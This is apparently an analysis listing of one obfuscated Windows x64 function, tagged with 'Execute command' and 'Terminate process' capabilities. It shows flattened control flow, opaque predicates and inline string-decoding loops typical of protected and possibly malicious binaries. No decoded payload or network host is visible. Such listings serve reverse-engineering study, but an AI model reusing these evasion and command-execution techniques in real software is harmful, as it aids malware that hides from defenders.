Function at 0x1402c31d0
Capabilities:
Execute command
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov eax, dword [0x14083efd0]
mov ecx, dword [0x14083efd4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 0x35]
cmp ecx, 0xa
setl byte [rbp - 0x36]
mov ecx, 0x41a32806
mov eax, 0x5bbff451
jmp 0x1402c3230
movzx edx, byte [rbp - 0x35]
cmp byte [rbp - 0x36], 0
mov ecx, 0x336a7252
cmovne ecx, eax
test dl, dl
cmovne ecx, eax
nop
cmp ecx, 0x41a32806
je 0x1402c3219
cmp ecx, 0x336a7252
je 0x1402c36be
cmp ecx, 0x5bbff451
jne 0x1402c3230
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403844e0
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rbx, rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403844e0
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, Ordinal_50
call fcn.1403844e0
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403844e0
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.1403844e0
sub rsp, rax
mov r13, rsp
mov rax, qword [0x1403f088c]
mov qword [rbx + 5], rax
mov rax, qword [0x1403f0887]
mov qword [rbx], rax
mov eax, dword [0x140837b68]
lea edx, [rax - 1]
imul edx, eax
mov eax, dword [0x14083e1c0]
mov ecx, dword [0x14083e1c4]
lea edi, [rax - 1]
imul edi, eax
mov dword [rbp - 0x30], edi
test dil, 1
mov eax, 0x6deba74f
mov edi, 0xacb84d61
cmove edi, eax
mov dword [rbp - 0x2c], ecx
cmp ecx, 0xa
cmovl edi, eax
mov dword [rbp - 0x34], edi
mov eax, dword [0x14083e1c8]
mov ecx, dword [0x14083e1cc]
lea edi, [rax - 1]
imul edi, eax
mov dword [rbp - 0x58], edi
test dil, 1
sete al
mov dword [rbp - 0x5c], ecx
cmp ecx, 0xa
setl cl
or cl, al
mov r8d, 0x84871390
mov ecx, 0x9a08941d
cmove r8d, ecx
mov edi, dword [0x140837b6c]
mov r11d, 0xbe84b336
cmove r11d, ecx
mov r10d, 0x4088d29f
mov esi, 0x8c9cc0e5
cmove r10d, esi
test dl, 1
sete byte [rbp - 0x11]
mov edx, 0xdcc6e7a9
mov eax, 0xba9c9024
cmove eax, edx
cmp edi, 0xa
setl byte [rbp - 1]
cmovl eax, edx
mov dword [rbp - 0x54], eax
mov edx, 0x744e6353
mov r12d, 0x5ee43e66
mov r14d, 0x743a24ed
mov r15d, 0x22ab88c9
jmp 0x1402c33b0
test r9b, r9b
setne byte [rbp - 0x10]
mov dl, byte [rbp - 0x10]
mov byte [rbp - 2], dl
mov edx, dword [rbp - 0x54]
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x658534ab
jle 0x1402c3400
cmp edx, 0x658534ac
je 0x1402c3425
cmp edx, 0x7c5141b6
je 0x1402c3495
cmp edx, 0x744e6353
jne 0x1402c33b0
mov r9b, byte [rbp - 0x11]
cmp byte [rbp - 1], 0
mov edx, 0xba9c9024
mov eax, 0x658534ac
cmovne edx, eax
test r9b, r9b
cmovne edx, eax
jmp 0x1402c33b0
cmp edx, 0xba9c9024
je 0x1402c361b
cmp edx, 0xdcc6e7a9
je 0x1402c3695
cmp edx, 0x1efd4afb
jne 0x1402c33b0
jmp 0x1402c3d97
test byte [rbp - 0x30], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x2c], 0xa
setl byte [rbp - 0x20]
mov r9b, byte [rbx + 0xc]
mov esi, 0xb76144f3
nop
cmp esi, 0x5ee43e65
jle 0x1402c3460
cmp esi, 0x5ee43e66
je 0x1402c3489
cmp esi, 0x6deba74f
jne 0x1402c3440
jmp 0x1402c3392
cmp esi, 0xacb84d61
je 0x1402c348e
cmp esi, 0xb76144f3
jne 0x1402c3440
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov esi, 0xacb84d61
cmovne esi, r12d
test dl, dl
cmovne esi, r12d
jmp 0x1402c3440
mov esi, dword [rbp - 0x34]
jmp 0x1402c3440
mov esi, 0x5ee43e66
jmp 0x1402c3440
test byte [rbp - 0x58], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x5c], 0xa
setl byte [rbp - 0x20]
mov edi, 0xa71898c4
jmp 0x1402c34c0
mov edi, 0x743a24ed
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edx, edi
cmp edi, 0xbe84b335
jle 0x1402c3500
cmp edx, 0x22ab88c8
jle 0x1402c3530
cmp edx, 0x22ab88c9
je 0x1402c358e
cmp edx, 0x4088d29f
je 0x1402c35da
mov edi, edx
cmp edx, 0x743a24ed
jne 0x1402c34c0
mov edi, r10d
jmp 0x1402c34c0
cmp edx, 0xa71898c3
jg 0x1402c3560
cmp edx, 0x8c9cc0e5
je 0x1402c34ac
cmp edx, 0x9a08941d
jne 0x1402c3603
mov edi, 0xbe84b336
jmp 0x1402c34c0
mov edi, r8d
cmp edx, 0xbe84b336
je 0x1402c34c0
mov edi, edx
cmp edx, 0xef2b879a
jne 0x1402c34c0
mov edi, r11d
jmp 0x1402c34c0
cmp edx, 0xa71898c4
je 0x1402c35e7
mov edi, edx
cmp edx, 0xae0d31d3
jne 0x1402c34c0
mov dword [rbp - 0x10], r9d
mov edx, dword [rbp - 0x10]
cmp edx, 0xd
mov edi, 0xef2b879a
cmovl edi, r15d
jmp 0x1402c34c0
movsxd rdx, dword [rbp - 0x10]
movzx edi, byte [rbx + rdx]
movsxd rsi, dword [rbp - 0x10]
imul rax, rsi, 0x5397829d
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x24
add eax, ecx
imul eax, eax, 0x31
sub esi, eax
lea eax, [rsi + 0x36]
mov ecx, 0xc9
sub ecx, esi
and ecx, edi
not edi
and edi, eax
or ecx, edi
mov byte [rbx + rdx], cl
mov r9d, dword [rbp - 0x10]
add r9d, 1
mov edi, 0xae0d31d3
jmp 0x1402c34c0
mov edi, 0xae0d31d3
xor r9d, r9d
jmp 0x1402c34c0
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov edi, 0x8c9cc0e5
cmovne edi, r14d
test dl, dl
cmovne edi, r14d
jmp 0x1402c34c0
mov edi, edx
cmp edx, 0x84871390
jne 0x1402c34c0
mov edx, 0x1efd4afb
jmp 0x1402c33b0
test byte [rbp - 0x30], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x2c], 0xa
setl byte [rbp - 0x20]
mov dl, byte [rbx + 0xc]
mov edi, 0xb76144f3
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x5ee43e65
jle 0x1402c3660
cmp edi, 0x5ee43e66
je 0x1402c3689
cmp edi, 0x6deba74f
jne 0x1402c3640
jmp 0x1402c36ab
cmp edi, 0xacb84d61
je 0x1402c368e
cmp edi, 0xb76144f3
jne 0x1402c3640
movzx eax, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov edi, 0xacb84d61
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x1402c3640
mov edi, dword [rbp - 0x34]
jmp 0x1402c3640
mov edi, 0x5ee43e66
jmp 0x1402c3640
cmp byte [rbp - 2], 0
mov edx, 0x1efd4afb
mov eax, 0x7c5141b6
cmovne edx, eax
jmp 0x1402c33b0
test dl, dl
setne byte [rbp - 0x10]
mov al, byte [rbp - 0x10]
mov edx, 0x658534ac
jmp 0x1402c33b0
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403844e0
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rbx, rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403844e0
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, Ordinal_50
call fcn.1403844e0
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403844e0
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.1403844e0
sub rsp, rax
mov r13, rsp
mov rax, qword [0x1403f088c]
mov qword [rbx + 5], rax
mov rax, qword [0x1403f0887]
mov qword [rbx], rax
mov eax, dword [0x140837b68]
lea edx, [rax - 1]
imul edx, eax
mov eax, dword [0x14083e1c0]
mov ecx, dword [0x14083e1c4]
lea edi, [rax - 1]
imul edi, eax
mov dword [rbp - 0x30], edi
test dil, 1
mov eax, 0x6deba74f
mov edi, 0xacb84d61
cmove edi, eax
mov dword [rbp - 0x2c], ecx
cmp ecx, 0xa
cmovl edi, eax
mov dword [rbp - 0x34], edi
mov eax, dword [0x14083e1c8]
mov ecx, dword [0x14083e1cc]
lea edi, [rax - 1]
imul edi, eax
mov dword [rbp - 0x58], edi
test dil, 1
sete al
mov dword [rbp - 0x5c], ecx
cmp ecx, 0xa
setl cl
or cl, al
mov r8d, 0x84871390
mov ecx, 0x9a08941d
cmove r8d, ecx
mov edi, dword [0x140837b6c]
mov r11d, 0xbe84b336
cmove r11d, ecx
mov r10d, 0x4088d29f
mov esi, 0x8c9cc0e5
cmove r10d, esi
test dl, 1
sete byte [rbp - 0x11]
mov edx, 0xdcc6e7a9
mov eax, 0xba9c9024
cmove eax, edx
cmp edi, 0xa
setl byte [rbp - 1]
cmovl eax, edx
mov dword [rbp - 0x54], eax
mov edx, 0x744e6353
mov r12d, 0x5ee43e66
mov r14d, 0x743a24ed
mov r15d, 0x22ab88c9
jmp 0x1402c3820
test r9b, r9b
setne byte [rbp - 0x10]
mov dl, byte [rbp - 0x10]
mov byte [rbp - 2], dl
mov edx, dword [rbp - 0x54]
nop word cs:[rax + rax]
nop
cmp edx, 0x658534ab
jle 0x1402c3870
cmp edx, 0x658534ac
je 0x1402c3895
cmp edx, 0x7c5141b6
je 0x1402c3905
cmp edx, 0x744e6353
jne 0x1402c3820
mov r9b, byte [rbp - 0x11]
cmp byte [rbp - 1], 0
mov edx, 0xba9c9024
mov eax, 0x658534ac
cmovne edx, eax
test r9b, r9b
cmovne edx, eax
jmp 0x1402c3820
cmp edx, 0xba9c9024
je 0x1402c3a8b
cmp edx, 0xdcc6e7a9
je 0x1402c3b05
cmp edx, 0x1efd4afb
jne 0x1402c3820
jmp 0x1402c3b2e
test byte [rbp - 0x30], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x2c], 0xa
setl byte [rbp - 0x20]
mov r9b, byte [rbx + 0xc]
mov esi, 0xb76144f3
nop
cmp esi, 0x5ee43e65
jle 0x1402c38d0
cmp esi, 0x5ee43e66
je 0x1402c38f9
cmp esi, 0x6deba74f
jne 0x1402c38b0
jmp 0x1402c3804
cmp esi, 0xacb84d61
je 0x1402c38fe
cmp esi, 0xb76144f3
jne 0x1402c38b0
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov esi, 0xacb84d61
cmovne esi, r12d
test dl, dl
cmovne esi, r12d
jmp 0x1402c38b0
mov esi, dword [rbp - 0x34]
jmp 0x1402c38b0
mov esi, 0x5ee43e66
jmp 0x1402c38b0
test byte [rbp - 0x58], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x5c], 0xa
setl byte [rbp - 0x20]
mov edi, 0xa71898c4
jmp 0x1402c3930
mov edi, 0x743a24ed
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edx, edi
cmp edi, 0xbe84b335
jle 0x1402c3970
cmp edx, 0x22ab88c8
jle 0x1402c39a0
cmp edx, 0x22ab88c9
je 0x1402c39fe
cmp edx, 0x4088d29f
je 0x1402c3a4a
mov edi, edx
cmp edx, 0x743a24ed
jne 0x1402c3930
mov edi, r10d
jmp 0x1402c3930
cmp edx, 0xa71898c3
jg 0x1402c39d0
cmp edx, 0x8c9cc0e5
je 0x1402c391c
cmp edx, 0x9a08941d
jne 0x1402c3a73
mov edi, 0xbe84b336
jmp 0x1402c3930
mov edi, r8d
cmp edx, 0xbe84b336
je 0x1402c3930
mov edi, edx
cmp edx, 0xef2b879a
jne 0x1402c3930
mov edi, r11d
jmp 0x1402c3930
cmp edx, 0xa71898c4
je 0x1402c3a57
mov edi, edx
cmp edx, 0xae0d31d3
jne 0x1402c3930
mov dword [rbp - 0x10], r9d
mov edx, dword [rbp - 0x10]
cmp edx, 0xd
mov edi, 0xef2b879a
cmovl edi, r15d
jmp 0x1402c3930
movsxd rdx, dword [rbp - 0x10]
movzx edi, byte [rbx + rdx]
movsxd rsi, dword [rbp - 0x10]
imul rax, rsi, 0x5397829d
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x24
add eax, ecx
imul eax, eax, 0x31
sub esi, eax
lea eax, [rsi + 0x36]
mov ecx, 0xc9
sub ecx, esi
and ecx, edi
not edi
and edi, eax
or ecx, edi
mov byte [rbx + rdx], cl
mov r9d, dword [rbp - 0x10]
add r9d, 1
mov edi, 0xae0d31d3
jmp 0x1402c3930
mov edi, 0xae0d31d3
xor r9d, r9d
jmp 0x1402c3930
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov edi, 0x8c9cc0e5
cmovne edi, r14d
test dl, dl
cmovne edi, r14d
jmp 0x1402c3930
mov edi, edx
cmp edx, 0x84871390
jne 0x1402c3930
mov edx, 0x1efd4afb
jmp 0x1402c3820
test byte [rbp - 0x30], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x2c], 0xa
setl byte [rbp - 0x20]
mov dl, byte [rbx + 0xc]
mov edi, 0xb76144f3
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x5ee43e65
jle 0x1402c3ad0
cmp edi, 0x5ee43e66
je 0x1402c3af9
cmp edi, 0x6deba74f
jne 0x1402c3ab0
jmp 0x1402c3b1b
cmp edi, 0xacb84d61
je 0x1402c3afe
cmp edi, 0xb76144f3
jne 0x1402c3ab0
movzx eax, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov edi, 0xacb84d61
cmovne edi, r12d
test al, al
cmovne edi, r12d
jmp 0x1402c3ab0
mov edi, dword [rbp - 0x34]
jmp 0x1402c3ab0
mov edi, 0x5ee43e66
jmp 0x1402c3ab0
cmp byte [rbp - 2], 0
mov edx, 0x1efd4afb
mov eax, 0x7c5141b6
cmovne edx, eax
jmp 0x1402c3820
test dl, dl
setne byte [rbp - 0x10]
mov al, byte [rbp - 0x10]
mov edx, 0x658534ac
jmp 0x1402c3820
mov eax, dword [0x14083e108]
mov ecx, dword [0x14083e10c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 0x20]
mov edx, 0x9a52482b
mov edi, 0x41c37f85
cmove edi, edx
cmp ecx, 0xa
setl byte [rbp - 0x10]
cmovl edi, edx
mov edx, 0x828f53e7
mov ecx, 0x59c63849
xorps xmm0, xmm0
mov rsi, qword [rbp - 0x50]
jmp 0x1402c3b90
movzx eax, byte [rbp - 0x20]
cmp byte [rbp - 0x10], 0
mov edx, 0x41c37f85
cmovne edx, ecx
test al, al
cmovne edx, ecx
nop word cs:[rax + rax]
cmp edx, 0x41c37f84
jle 0x1402c3bc0
cmp edx, 0x41c37f85
je 0x1402c3bd2
cmp edx, 0x59c63849
jne 0x1402c3b90
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
mov edx, edi
jmp 0x1402c3b90
cmp edx, 0x828f53e7
je 0x1402c3b71
cmp edx, 0x9a52482b
jne 0x1402c3b90
jmp 0x1402c3be0
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
mov edx, 0x59c63849
jmp 0x1402c3b90
sub rsp, 0x20
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
sub rsp, 0x20
mov rcx, rsi
mov rdx, rbx
mov r8, rax
call fcn.1401b11b0
add rsp, 0x20
mov r14, qword [rbp - 0x50]
mov qword [rbp - 0x28], r14
mov rax, qword [rbp - 0x28]
mov ecx, dword [0x14083e140]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14083e144], 0xa
setl dl
or dl, cl
mov r8d, 0x60b87785
mov ecx, 0xc893afce
cmove r8d, ecx
mov qword [rbp - 0x20], rax
mov r9d, 0x6606174a
cmove r9d, ecx
mov eax, dword [0x14083e148]
lea r10d, [rax - 1]
imul r10d, eax
test r10b, 1
mov eax, 0xfe7f62c8
mov r11d, 0xbbac552e
cmove r11d, eax
mov edi, dword [0x14083e14c]
cmp edi, 0xa
cmovl r11d, eax
cmp qword [r14 + 0x18], 0x10
mov eax, 0x34104525
mov esi, 0x72b9664
cmovae esi, eax
mov eax, 0x49ce0731
mov ecx, 0x627713d8
jmp 0x1402c3ca0
mov eax, 0x72b9664
nop
cmp eax, 0x49ce0730
jg 0x1402c3d50
cmp eax, 0xc893afce
je 0x1402c3d6e
cmp eax, 0x72b9664
je 0x1402c3d78
cmp eax, 0x34104525
jne 0x1402c3ca0
test r10b, 1
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
sete byte [rbp - 1]
cmp edi, 0xa
setl byte [rbp - 2]
mov eax, 0x712aac50
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x627713d7
jg 0x1402c3d10
cmp eax, 0xbbac552e
je 0x1402c3d35
cmp eax, 0xfe7f62c8
jne 0x1402c3cf0
jmp 0x1402c3c99
cmp eax, 0x627713d8
je 0x1402c3d3c
cmp eax, 0x712aac50
jne 0x1402c3cf0
movzx ebx, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov eax, 0xbbac552e
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x1402c3cf0
mov eax, 0x627713d8
jmp 0x1402c3cf0
mov eax, r11d
jmp 0x1402c3cf0
cmp eax, 0x49ce0731
je 0x1402c3d84
cmp eax, 0x6606174a
je 0x1402c3d8f
cmp eax, 0x60b87785
jne 0x1402c3ca0
jmp 0x1402c3ff7
mov eax, 0x6606174a
jmp 0x1402c3ca0
mov qword [rbp - 0x10], rdx
mov eax, r9d
jmp 0x1402c3ca0
mov rdx, qword [rbp - 0x20]
mov eax, esi
jmp 0x1402c3ca0
mov eax, r8d
jmp 0x1402c3ca0
mov eax, dword [0x14083e108]
mov ecx, dword [0x14083e10c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 0x20]
mov edx, 0x9a52482b
mov edi, 0x41c37f85
cmove edi, edx
cmp ecx, 0xa
setl byte [rbp - 0x10]
cmovl edi, edx
mov edx, 0x828f53e7
mov ecx, 0x59c63849
xorps xmm0, xmm0
mov rsi, qword [rbp - 0x50]
jmp 0x1402c3df0
movzx eax, byte [rbp - 0x20]
cmp byte [rbp - 0x10], 0
mov edx, 0x41c37f85
cmovne edx, ecx
test al, al
cmovne edx, ecx
nop
cmp edx, 0x41c37f84
jle 0x1402c3e20
cmp edx, 0x41c37f85
je 0x1402c3e32
cmp edx, 0x59c63849
jne 0x1402c3df0
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
mov edx, edi
jmp 0x1402c3df0
cmp edx, 0x828f53e7
je 0x1402c3dda
cmp edx, 0x9a52482b
jne 0x1402c3df0
jmp 0x1402c3e40
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
mov edx, 0x59c63849
jmp 0x1402c3df0
sub rsp, 0x20
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
sub rsp, 0x20
mov rcx, rsi
mov rdx, rbx
mov r8, rax
call fcn.1401b11b0
add rsp, 0x20
mov r14, qword [rbp - 0x50]
mov qword [rbp - 0x28], r14
mov rax, qword [rbp - 0x28]
mov ecx, dword [0x14083e140]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14083e144], 0xa
setl dl
or dl, cl
mov r8d, 0x60b87785
mov ecx, 0xc893afce
cmove r8d, ecx
mov qword [rbp - 0x20], rax
mov r9d, 0x6606174a
cmove r9d, ecx
mov eax, dword [0x14083e148]
lea r10d, [rax - 1]
imul r10d, eax
test r10b, 1
mov eax, 0xfe7f62c8
mov r11d, 0xbbac552e
cmove r11d, eax
mov edi, dword [0x14083e14c]
cmp edi, 0xa
cmovl r11d, eax
cmp qword [r14 + 0x18], 0x10
mov eax, 0x34104525
mov esi, 0x72b9664
cmovae esi, eax
mov eax, 0x49ce0731
mov ecx, 0x627713d8
jmp 0x1402c3f00
mov eax, 0x72b9664
nop
cmp eax, 0x49ce0730
jg 0x1402c3fb0
cmp eax, 0xc893afce
je 0x1402c3fce
cmp eax, 0x72b9664
je 0x1402c3fd8
cmp eax, 0x34104525
jne 0x1402c3f00
test r10b, 1
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
sete byte [rbp - 1]
cmp edi, 0xa
setl byte [rbp - 2]
mov eax, 0x712aac50
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x627713d7
jg 0x1402c3f70
cmp eax, 0xbbac552e
je 0x1402c3f95
cmp eax, 0xfe7f62c8
jne 0x1402c3f50
jmp 0x1402c3ef9
cmp eax, 0x627713d8
je 0x1402c3f9c
cmp eax, 0x712aac50
jne 0x1402c3f50
movzx ebx, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov eax, 0xbbac552e
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x1402c3f50
mov eax, 0x627713d8
jmp 0x1402c3f50
mov eax, r11d
jmp 0x1402c3f50
cmp eax, 0x49ce0731
je 0x1402c3fe4
cmp eax, 0x6606174a
je 0x1402c3fef
cmp eax, 0x60b87785
jne 0x1402c3f00
jmp 0x1402c4647
mov eax, 0x6606174a
jmp 0x1402c3f00
mov qword [rbp - 0x10], rdx
mov eax, r9d
jmp 0x1402c3f00
mov rdx, qword [rbp - 0x20]
mov eax, esi
jmp 0x1402c3f00
mov eax, r8d
jmp 0x1402c3f00
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.140085ad0
mov rcx, r14
call fcn.1401b0ed0
mov rcx, r14
call fcn.14034ca20
call fcn.1401fcb80
add rsp, 0x20
mov rax, qword [0x1403f08b3]
mov rsi, qword [rbp - 0x40]
mov qword [rsi + 0x1f], rax
movups xmm0, xmmword [0x1403f08a4]
movups xmmword [rsi + 0x10], xmm0
movups xmm0, xmmword [0x1403f0894]
movups xmmword [rsi], xmm0
mov edx, dword [0x14083eb38]
mov eax, dword [0x14083eb3c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, dword [0x14083eb40]
lea r12d, [rdx - 1]
imul r12d, edx
test r12b, 1
mov ebx, 0x7b3423c
mov r8d, 0x7457684c
cmove r8d, ebx
mov r9d, dword [0x14083eb44]
cmp r9d, 0xa
cmovl r8d, ebx
mov ebx, dword [0x14083eb48]
lea edx, [rbx - 1]
imul edx, ebx
mov dword [rbp - 0x2c], edx
test dl, 1
mov ebx, 0x62710839
mov edx, 0x6150d18d
cmove edx, ebx
mov edi, dword [0x14083eb4c]
mov dword [rbp - 0x34], edi
cmp edi, 0xa
cmovl edx, ebx
mov dword [rbp - 0x30], edx
test cl, 1
sete byte [rbp - 0x11]
mov ecx, 0xeecbffe4
mov r14d, 0x9b8417f0
cmove r14d, ecx
cmp eax, 0xa
setl byte [rbp - 1]
cmovl r14d, ecx
mov edi, 0xd1269286
mov r15d, 0xb90a7c0e
mov ebx, 0x371ec736
mov r10d, 0x99cc8860
jmp 0x1402c4100
test al, al
setne byte [rbp - 0x10]
mov al, byte [rbp - 0x10]
mov byte [rbp - 2], al
mov edi, r14d
nop dword [rax]
cmp edi, 0xd1269285
jg 0x1402c41b0
cmp edi, 0x8161e437
je 0x1402c41d9
cmp edi, 0x99cc8860
je 0x1402c430a
cmp edi, 0x9b8417f0
jne 0x1402c4100
test r12b, 1
sete byte [rbp - 0x28]
cmp r9d, 0xa
setl byte [rbp - 0x20]
mov al, byte [rsi + 0x26]
mov ecx, 0x61b6415
nop word cs:[rax + rax]
nop
cmp ecx, 0x371ec735
jg 0x1402c4170
cmp ecx, 0x61b6415
je 0x1402c4187
cmp ecx, 0x7b3423c
jne 0x1402c4150
jmp 0x1402c4383
cmp ecx, 0x371ec736
je 0x1402c419e
cmp ecx, 0x7457684c
jne 0x1402c4150
mov ecx, 0x371ec736
jmp 0x1402c4150
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov ecx, 0x7457684c
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1402c4150
mov ecx, r8d
jmp 0x1402c4150
cmp edi, 0xd1269286
je 0x1402c4396
cmp edi, 0xeecbffe4
je 0x1402c43b1
cmp edi, 0x2c5dfa22
jne 0x1402c4100
jmp 0x1402c43d1
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp dword [rbp - 0x34], 0xa
setl byte [rbp - 0x20]
mov r11d, 0x7f3f1937
nop
cmp r11d, 0x5193afaf
jle 0x1402c4220
cmp r11d, 0x62710838
jg 0x1402c4250
cmp r11d, 0x5193afb0
je 0x1402c4283
cmp r11d, 0x6150d18d
jne 0x1402c41f0
mov r11d, 0xb90a7c0e
jmp 0x1402c41f0
cmp r11d, 0x82b18d3d
je 0x1402c42a0
cmp r11d, 0xb90a7c0e
je 0x1402c42f4
cmp r11d, 0x3130f0f2
jne 0x1402c41f0
jmp 0x1402c43c7
cmp r11d, 0x62710839
je 0x1402c42fd
cmp r11d, 0x7f3f1937
jne 0x1402c41f0
movzx eax, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov r11d, 0x6150d18d
cmovne r11d, r15d
test al, al
cmovne r11d, r15d
jmp 0x1402c41f0
mov dword [rbp - 0x10], edi
mov eax, dword [rbp - 0x10]
cmp eax, 0x27
mov r11d, 0x3130f0f2
mov eax, 0x82b18d3d
cmovl r11d, eax
jmp 0x1402c41f0
movsxd rax, dword [rbp - 0x10]
movzx ecx, byte [rsi + rax]
movsxd rdx, dword [rbp - 0x10]
imul rdi, rdx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub edx, edi
lea edi, [rdx + 0x36]
mov esi, 0xc9
sub esi, edx
and esi, ecx
not ecx
and ecx, edi
or esi, ecx
mov rcx, qword [rbp - 0x40]
mov byte [rcx + rax], sil
mov rsi, qword [rbp - 0x40]
mov edi, dword [rbp - 0x10]
add edi, 1
mov r11d, 0x5193afb0
jmp 0x1402c41f0
mov r11d, dword [rbp - 0x30]
jmp 0x1402c41f0
mov r11d, 0x5193afb0
xor edi, edi
jmp 0x1402c41f0
test r12b, 1
sete byte [rbp - 0x28]
cmp r9d, 0xa
setl byte [rbp - 0x20]
mov al, byte [rsi + 0x26]
mov ecx, 0x61b6415
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x371ec735
jg 0x1402c4350
cmp ecx, 0x61b6415
je 0x1402c4367
cmp ecx, 0x7b3423c
jne 0x1402c4330
jmp 0x1402c40ed
cmp ecx, 0x371ec736
je 0x1402c437e
cmp ecx, 0x7457684c
jne 0x1402c4330
mov ecx, 0x371ec736
jmp 0x1402c4330
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov ecx, 0x7457684c
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1402c4330
mov ecx, r8d
jmp 0x1402c4330
test al, al
setne byte [rbp - 0x10]
mov al, byte [rbp - 0x10]
mov edi, 0x99cc8860
jmp 0x1402c4100
mov al, byte [rbp - 0x11]
cmp byte [rbp - 1], 0
mov edi, 0x9b8417f0
cmovne edi, r10d
test al, al
cmovne edi, r10d
jmp 0x1402c4100
cmp byte [rbp - 2], 0
mov edi, 0x2c5dfa22
mov eax, 0x8161e437
cmovne edi, eax
jmp 0x1402c4100
mov edi, 0x2c5dfa22
jmp 0x1402c4100
mov eax, dword [0x14083e108]
mov ecx, dword [0x14083e10c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 0x20]
mov edx, 0x9a52482b
mov eax, 0x41c37f85
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp - 0x10]
cmovl eax, edx
mov edx, 0x828f53e7
mov ecx, 0x59c63849
xorps xmm0, xmm0
mov rsi, qword [rbp - 0x48]
jmp 0x1402c4430
movzx ebx, byte [rbp - 0x20]
cmp byte [rbp - 0x10], 0
mov edx, 0x41c37f85
cmovne edx, ecx
test bl, bl
cmovne edx, ecx
nop dword [rax]
cmp edx, 0x41c37f84
jle 0x1402c4460
cmp edx, 0x41c37f85
je 0x1402c4472
cmp edx, 0x59c63849
jne 0x1402c4430
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
mov edx, eax
jmp 0x1402c4430
cmp edx, 0x828f53e7
je 0x1402c4414
cmp edx, 0x9a52482b
jne 0x1402c4430
jmp 0x1402c4480
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
mov edx, 0x59c63849
jmp 0x1402c4430
sub rsp, 0x20
mov rdi, qword [rbp - 0x40]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
sub rsp, 0x20
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1401b11b0
add rsp, 0x20
mov r14, qword [rbp - 0x48]
mov qword [rbp - 0x28], r14
mov rax, qword [rbp - 0x28]
mov ecx, dword [0x14083e140]
lea edx, [rcx - 1]
